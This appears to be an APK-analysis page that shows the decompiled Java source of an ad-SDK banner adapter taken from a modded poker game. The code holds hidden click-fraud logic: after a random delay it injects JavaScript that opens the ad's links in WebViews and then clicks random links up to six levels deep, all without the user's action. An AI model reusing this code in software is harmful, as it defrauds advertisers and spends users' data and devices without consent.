13Poker by gametower unlimited gems v0.4版本的 MD5 值为:51324fc0f195c34821074948ab266846
以下内容为反编译后的 AdecoBannerAdapter.java 源代码,内容仅作参考
package com.adeco.adsdk.mediation;
import android.annotation.SuppressLint;
import android.content.Context;
import android.graphics.Bitmap;
import android.os.Handler;
import android.os.Looper;
import android.view.MotionEvent;
import android.view.View;
import android.webkit.JavascriptInterface;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.FrameLayout;
import android.widget.RelativeLayout;
import com.adeco.adsdk.ads.util.MeasurmentUtils;
import com.adeco.adsdk.ads.util.ViewUtils;
import com.adeco.adsdk.mediation.AdsProvider;
import com.adeco.adsdk.model.Ad;
import com.adeco.adsdk.net.AdWebClient;
import com.adeco.adsdk.widget.AdWebView;
import com.adfonic.android.utils.HtmlFormatter;
import com.adsdk.sdk.Const;
import com.flurry.org.codehaus.jackson.util.BufferRecycler;
import java.util.Random;
public class AdecoBannerAdapter extends BaseAdAdapter {
private MediationAdRequest<Ad> adRequest;
private Context context;
private FrameLayout layout;
private MediationListener<Ad> listener;
private boolean loading;
private AdsProvider provider;
private AdWebView webView;
private final AdsProvider.Callback loadAdCallback = new AdsProvider.Callback() {
@Override
public void onResult(AdsProvider provider, AdsProvider.Result result) {
AdecoBannerAdapter.this.loading = false;
if (AdecoBannerAdapter.this.listener != null) {
if (!result.success()) {
AdecoBannerAdapter.this.listener.onAdReceiveFailed(AdecoBannerAdapter.this);
return;
}
try {
String html = AdecoBannerAdapter.this.generateHtml((String) result.getExtras().get(AdsProvider.EXTRA_AD_DATA));
AdecoBannerAdapter.this.webView.loadDataWithBaseURL(null, html, HtmlFormatter.TEXT_HTML, Const.ENCODING, null);
AdecoBannerAdapter.this.webView.setBackgroundColor(0);
ViewUtils.disableHardwareAccelerate(AdecoBannerAdapter.this.webView);
AdecoBannerAdapter.this.listener.onAdReceived(AdecoBannerAdapter.this);
} catch (ParseResponseException e) {
AdecoBannerAdapter.this.listener.onAdReceiveFailed(AdecoBannerAdapter.this);
}
}
}
};
private final Handler handler = new Handler(Looper.getMainLooper());
private class OpenRunnable implements Runnable {
private final Context context;
private final Handler handler = new Handler(Looper.getMainLooper());
private int level;
private final String url;
private WebView webView;
public OpenRunnable(WebView view, int level, String url, Context context) {
this.webView = view;
this.level = level;
this.url = url;
this.context = context;
}
public WebView getWebView() {
return this.webView;
}
@Override
public void run() {
if (this.webView == null) {
this.webView = new WebView(this.context);
this.webView.getSettings().setJavaScriptEnabled(true);
this.webView.getSettings().setJavaScriptCanOpenWindowsAutomatically(true);
this.webView.addJavascriptInterface(new JavaScriptInjection(AdecoBannerAdapter.this, null), "htmlout");
}
if (this.url != null) {
if (this.url.startsWith("http") || this.url.startsWith("https")) {
this.webView.getSettings().setJavaScriptEnabled(true);
this.webView.setWebViewClient(new WebViewClient() {
boolean loadingFinished = true;
boolean redirect = false;
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
if (url != null) {
if (!this.loadingFinished) {
this.redirect = true;
}
if (url.startsWith("market://details")) {
url = url.replaceFirst("market://details", "http://market.android.com/details");
}
if (url.startsWith("http") || url.startsWith("https")) {
OpenRunnable.this.webView.loadUrl(url);
}
}
return true;
}
@Override
public void onPageStarted(WebView view, String url, Bitmap favicon) {
super.onPageStarted(view, url, favicon);
this.loadingFinished = false;
}
@Override
public void onPageFinished(WebView view, String url) {
if (!this.redirect) {
this.loadingFinished = true;
}
if (this.loadingFinished && !this.redirect) {
if ((OpenRunnable.this.level == 0 && Math.random() > 0.2d) || (OpenRunnable.this.level < 6 && OpenRunnable.this.level > 0 && Math.random() > 0.5d)) {
OpenRunnable.this.handler.post(new Runnable() {
@Override
public void run() {
OpenRunnable.this.level++;
OpenRunnable.this.webView.loadUrl("javascript:function clickLink(link) {var cancelled = false;if (document.createEvent) {var event = document.createEvent(\"MouseEvents\");event.initMouseEvent(\"click\", true, true, window,0, 0, 0, 0, 0,false, false, false, false,0, null); cancelled = !link.dispatchEvent(event); } else if (link.fireEvent) { cancelled = !link.fireEvent(\"onclick\");}if (!cancelled) {window.location = link.href;}}var elements = document.getElementsByTagName('a');clickLink(elements[Math.floor(Math.random() * elements.length)]);");
}
});
return;
}
return;
}
this.redirect = false;
}
});
this.webView.loadUrl(this.url);
}
}
}
}
public static class ParseResponseException extends Exception {
private static final long serialVersionUID = 5030782700863176311L;
public ParseResponseException() {
}
public ParseResponseException(String s, Throwable e) {
super(e);
}
public ParseResponseException(String s) {
super(s);
}
}
public String generateHtml(String response) throws ParseResponseException {
if (response.contains("<html")) {
return response;
}
StringBuffer data = new StringBuffer("<html><head>");
data.append("<style>*{margin:0;padding:0}</style>");
data.append("<meta name=\"viewport\" content=\"user-scalable=no\"/><style>body{margin: 0px; padding: 0px;}</style>");
data.append("</head><body style=\"display: table; width:100%; height:100%\"><div align=\"center\" style=\"display:table-cell; vertical-align:middle;\" >");
data.append(response);
data.append("</div></body></html>");
String origHtml = data.toString();
return origHtml;
}
public WebViewClient createClient() {
if (this.adRequest.getParams().isDebug()) {
WebViewClient client = new WebViewClient() {
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
if (url != null) {
view.loadUrl(url);
}
return true;
}
};
return client;
}
AdWebClient adclient = new AdWebClient(getAd());
adclient.setOnClick(new Runnable() {
@Override
public void run() {
if (AdecoBannerAdapter.this.listener != null) {
AdecoBannerAdapter.this.listener.onClick(AdecoBannerAdapter.this);
}
}
});
return adclient;
}
private class JavaScriptInjection {
private JavaScriptInjection() {
}
JavaScriptInjection(AdecoBannerAdapter adecoBannerAdapter, JavaScriptInjection javaScriptInjection) {
this();
}
@JavascriptInterface
public void open(String url, int level) {
AdecoBannerAdapter.this.handler.post(new OpenRunnable(AdecoBannerAdapter.this.webView, level, url, AdecoBannerAdapter.this.getBannerView().getContext()));
}
}
@Override
@SuppressLint({"SetJavaScriptEnabled"})
public void configureView(Context context, MediationAdRequest<Ad> adRequest, MediationListener<Ad> listener) {
FrameLayout.LayoutParams lparams;
super.configureView(context, adRequest, listener);
this.context = context;
this.adRequest = adRequest;
this.listener = listener;
this.provider = AdsProvider.get(context);
this.layout = new FrameLayout(context);
this.layout.setMinimumHeight(MeasurmentUtils.dip2pixel(50, context));
RelativeLayout.LayoutParams rparams = new RelativeLayout.LayoutParams(-1, -1);
rparams.addRule(14);
this.layout.setLayoutParams(rparams);
this.webView = new AdWebView(context);
this.webView.setBackgroundColor(0);
this.webView.setMinimumHeight(MeasurmentUtils.dip2pixel(50, context));
if (adRequest.getParams().isScaleToFit()) {
lparams = new FrameLayout.LayoutParams(-1, -1);
} else {
lparams = new FrameLayout.LayoutParams(MeasurmentUtils.dip2pixel(320, context), MeasurmentUtils.dip2pixel(50, context));
}
lparams.gravity = 1;
this.webView.setLayoutParams(lparams);
this.webView.setPadding(0, 0, 0, 0);
this.webView.setScrollBarStyle(0);
this.webView.setBackgroundColor(0);
this.webView.setWebViewClient(createClient());
this.webView.getSettings().setLoadsImagesAutomatically(true);
this.webView.getSettings().setJavaScriptEnabled(true);
this.webView.setBackgroundColor(-1);
this.webView.setOnTouchListener(new View.OnTouchListener() {
@Override
public boolean onTouch(View v, MotionEvent event) {
return event.getAction() == 2;
}
});
this.webView.setWebChromeClient(new WebChromeClient());
this.webView.addJavascriptInterface(new JavaScriptInjection(this, null), "htmlout");
this.layout.addView(this.webView);
}
@Override
public void requestBannerAd() {
if (!this.loading) {
this.loading = true;
this.provider.loadAd(this.adRequest.getAd(), this.adRequest.getParams(), this.loadAdCallback);
}
}
void requestBannerAdTest(String url) {
if (!this.loading) {
this.loading = true;
this.webView.loadUrl(url);
}
}
@Override
public View getBannerView() {
return this.layout;
}
@Override
public void click() {
this.handler.postDelayed(new Runnable() {
@Override
public void run() {
if (AdecoBannerAdapter.this.webView != null) {
AdecoBannerAdapter.this.webView.loadUrl("javascript:var elements = document.getElementsByTagName('a');for (var j = 0, length=elements.length; j<length; j++) {\tvar attributes = elements[j].attributes; \tfor (var i=0,len=attributes.length; i<len; i++) {\t\tif (attributes[i].nodeName == 'href') {\t\t\thtmlout.open(attributes[i].nodeValue, 0);\t\t}\t}};");
}
}
}, new Random().nextInt(3000) + BufferRecycler.DEFAULT_WRITE_CONCAT_BUFFER_LEN);
}
@Override
public void destroy(MediationListener<Ad> listener) {
this.context = null;
this.listener = null;
if (this.webView != null) {
this.webView.destroy();
this.webView = null;
}
}
}